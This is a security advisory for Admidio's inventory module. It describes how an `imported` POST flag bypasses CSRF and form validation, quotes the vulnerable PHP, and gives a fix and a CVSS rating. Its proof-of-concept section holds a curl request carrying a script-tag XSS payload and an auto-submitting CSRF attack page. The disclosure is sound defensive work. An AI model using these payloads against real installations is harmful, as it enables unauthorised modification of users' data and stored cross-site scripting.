CSRF and Form Validation Bypass in Inventory Item Save via `imported` Parameter

Moderate **Fasse** published **GHSA-4rwm-c5mj-wh7x** last week

Package

php **admidio/admidio** (Composer)

Affected versions	Patched versions
<= 5.0.7	5.0.8

Description

Summary

The inventory module's `item_save` endpoint accepts a user-controllable POST parameter `imported` that, when set to `true`, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the `FormPresenter` validation normally enforces.

Details

In `modules/inventory.php`, the `imported` parameter is read from POST input:

File: `modules/inventory.php:50`

```
$postImported = admFuncVariableIsValid($_POST, 'imported', 'bool', array('defaultV
```

This is then passed to `ItemService`:

File: `modules/inventory.php:251-256`

```
$itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $ m
$itemService->save(true);
```

Inside `ItemService::save()`, the `postImported` flag completely skips CSRF and form validation:

File: `src/Inventory/Service/ItemService.php:99-109`

```
public function save(bool $multiEdit = false): void
{
    global $gCurrentSession, $gL10n, $gSettingsManager;

    // check form field input and sanitized it from malicious content
    if (!$this->postImported) {
        $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
        $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
    } else {
        $formValues = $_POST;   // Raw $_POST used with no CSRF check, no validation
    }
    // ... item data is saved using raw $formValues
```

When `imported=1` is sent, the code:

1. Skips `$gCurrentSession->getFormObject()` — which validates the CSRF token
2. Skips `$itemFieldsEditForm->validate()` — which sanitizes and validates field values
3. Uses raw `$_POST` values directly to save to the database

This means:

- CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data
- Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped
- Raw user input flows into `$this->itemRessource->setValue()` and then `saveItemData()` without the normal server-side sanitization

PoC

```
# As an authenticated user with inventory access, save arbitrary item data
# without a valid CSRF token and without form validation:

curl -X POST -b 'ADMIDIO_SESSION=<session>' \
  'https://admidio.local/modules/inventory.php?mode=item_save' \
  -d 'imported=1' \
  -d 'adm_csrf_token=anything' \
  -d 'INF-CATEGORY=1' \
  -d 'INF-ITEMNAME=<script>alert(1)</script>'
```

```
# The CSRF token is not checked because imported=true skips the form object lookup.
# The field value is not sanitized because validate() is skipped.
```

A CSRF attack page would look like:

```
<html>
<body>
<form action="https://admidio.local/modules/inventory.php?mode=item_save" method="POST">
  <input type="hidden" name="imported" value="1" />
  <input type="hidden" name="adm_csrf_token" value="dummy" />
  <input type="hidden" name="INF-CATEGORY" value="1" />
  <input type="hidden" name="INF-ITEMNAME" value="Attacker-controlled data" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
```

Impact

- **CSRF bypass**: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page.
- **Validation bypass**: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored.
- **Stored XSS potential**: Because `validate()` is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).

Recommended Fix

Remove the `imported` parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the `imported` flag:

```
public function save(bool $multiEdit = false): void
{
    global $gCurrentSession, $gL10n, $gSettingsManager;

    // ALWAYS validate CSRF token
    $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);

    if (!$this->postImported) {
        $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
    } else {
        // For imported items, still validate the CSRF token (done above)
        // and apply basic sanitization
        $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
    }
    // ...
}
```

Alternatively, the `imported` flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.

Severity

Moderate 4.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2026-34383

Weaknesses

- CWE-20
- CWE-352

Credits

offset Reporter